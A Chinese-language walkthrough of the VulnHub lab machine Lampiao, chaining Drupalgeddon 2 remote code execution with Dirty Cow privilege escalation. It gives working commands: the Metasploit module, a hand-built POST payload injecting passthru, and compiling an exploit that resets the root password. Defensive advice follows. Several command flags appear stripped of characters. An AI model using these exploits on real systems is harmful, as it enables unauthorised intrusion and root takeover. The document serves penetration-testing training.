Lampiao靶机渗透Drupal 7.53 RCE与脏牛提权实战分析靶机环境与渗透测试概述Lampiao是VulnHub平台上经典的渗透测试靶机模拟了一个运行Drupal 7.53内容管理系统的Ubuntu服务器环境。这个靶机设计精巧包含了两个关键漏洞的串联利用Drupalgeddon 2远程代码执行漏洞CVE-2018-7600和Dirty Cow本地提权漏洞CVE-2016-5195。通过这两个漏洞的配合使用攻击者可以从外部Web应用入侵到获取系统最高权限形成完整的攻击链。对于安全研究人员和渗透测试学习者来说Lampiao靶机提供了绝佳的实战演练场景。它不仅考验基础的漏洞利用能力更重要的是展示了真实攻击中如何将多个漏洞串联形成完整攻击路径的思维方式。下面我们将详细拆解整个渗透过程分析每个漏洞的原理和利用方法。1. 信息收集与目标识别渗透测试的第一步永远是信息收集。在这个阶段我们需要尽可能全面地了解目标系统的配置和服务情况。1.1 网络扫描与端口探测使用Nmap进行全端口扫描是发现目标服务的标准方法nmap -sV -sC -p- --min-rate 1000 192.168.101.59关键参数说明-sV服务版本检测-sC运行默认脚本扫描-p-扫描所有端口1-65535--min-rate 1000控制扫描速度避免触发防护扫描结果通常显示开放了三个关键服务端口服务版本信息22SSHOpenSSH 6.6.1p1 Ubuntu80HTTPApache httpd 2.4.71898HTTPDrupal 7.531.2 Web应用指纹识别访问80端口通常是一个静态页面而1898端口则是主要的攻击入口。通过浏览1898端口的Drupal站点我们可以通过以下方法确认版本查看CHANGELOG.txt文件http://192.168.101.59:1898/CHANGELOG.txt检查robots.txt文件可能暴露的管理路径和敏感文件使用Wappalyzer等工具分析页面特征确认Drupal版本为7.53后就可以针对性地搜索该版本的已知漏洞。2. Drupalgeddon 2漏洞利用2.1 漏洞背景分析Drupalgeddon 2CVE-2018-7600是Drupal核心中的一个严重远程代码执行漏洞影响7.x和8.x多个版本。该漏洞源于Drupal对表单API处理不当允许攻击者通过特制的HTTP请求在未授权情况下执行任意PHP代码。漏洞关键点影响版本Drupal 7.x7.588.x8.3.9, 8.4.6, 8.5.1CVSS评分9.8严重利用复杂度低无需认证2.2 Metasploit模块利用Kali Linux自带的Metasploit框架已经集成了该漏洞的利用模块msfconsole use exploit/unix/webapp/drupal_drupalgeddon2 set RHOSTS 192.168.101.59 set RPORT 1898 exploit成功执行后会获得一个基本的Meterpreter会话。此时需要升级到完全交互式shellshell python -c import pty; pty.spawn(/bin/bash)2.3 手动漏洞利用分析理解漏洞原理对于防御至关重要。Drupalgeddon 2的核心问题出在\Drupal\Core\Form\FormBuilder类的doBuildForm方法中。攻击者可以通过精心构造的数组覆盖关键变量最终实现代码执行。一个典型的手工利用PoC如下POST /?quser/passwordname[%23post_render][]passthruname[%23type]markupname[%23markup]id HTTP/1.1 Host: target:1898 Content-Type: application/x-www-form-urlencoded Content-Length: 56 form_iduser_pass_triggering_element_namename这个请求会触发passthru()函数执行id命令返回当前用户信息。3. 权限提升Dirty Cow漏洞利用3.1 系统信息收集获得初始shell后我们需要评估提权可能性。首先收集系统信息uname -a cat /etc/*-release关键信息Linux内核版本3.13.0-32-generic发行版Ubuntu 14.04.5 LTS架构x86_64通过searchsploit搜索该内核版本的已知漏洞searchsploit linux 3.13.0结果显示存在多个可能的提权漏洞其中最可靠的是Dirty Cow脏牛。3.2 Dirty Cow漏洞原理Dirty CowCVE-2016-5195是Linux内核中的一个竞态条件漏洞影响2007年以来的几乎所有Linux版本。漏洞核心在于内核内存子系统处理写时拷贝(COW)时的竞争条件允许低权限用户修改只读内存映射。漏洞特点影响范围Linux内核2.6.222007年发布修复时间2016年10月18日利用效果可靠的内核级提权3.3 漏洞利用实战Kali中自带了多个Dirty Cow的利用脚本我们选择最稳定的40847.cppsearchsploit -m 40847.cpp将exp上传到目标服务器后编译g -O2 -stdc11 -pthread -o dcow 40847.cpp -lutil chmod x dcow ./dcow编译参数说明-O2优化级别2-stdc11使用C11标准-pthread启用多线程支持-lutil链接util库成功执行后会重置root密码为dirtyCowFun此时可以直接切换到root用户su root4. 攻击链分析与防御建议4.1 完整攻击流程图[信息收集] | v [Nmap扫描] -- [发现Drupal 7.53] | | v v [端口服务识别] [版本漏洞关联] | | v v [Drupalgeddon 2利用] -- [获取初始Shell] | v [系统信息收集] -- [内核漏洞识别] | | v v [Dirty Cow利用] -- [Root权限获取] | v [Flag获取与后渗透]4.2 防御措施建议针对Drupalgeddon 2立即升级到Drupal 7.58或更高版本部署Web应用防火墙(WAF)规则拦截可疑的form参数限制/admin和/user路径的访问来源针对Dirty Cow及时更新内核补丁4.8.3使用grsecurity等内核加固方案限制普通用户的权限和能力集通用防御策略定期漏洞扫描与补丁管理最小权限原则实施网络分段隔离关键服务5. 渗透测试经验总结在实际测试Lampiao靶机过程中有几个关键点值得注意信息收集要彻底1898端口的发现是突破点全端口扫描必不可少漏洞利用要精准Drupalgeddon 2有多个利用方式MSF模块最可靠提权路径要验证不是所有内核版本都适用相同exp需测试多个方案环境准备要充分g编译环境必须完整缺少依赖会导致exp失败对于渗透测试学习者建议在掌握基础操作后深入理解每个漏洞的原理和利用条件。Lampiao靶机提供的正是这样一个从Web应用到系统内核的完整攻击链分析机会。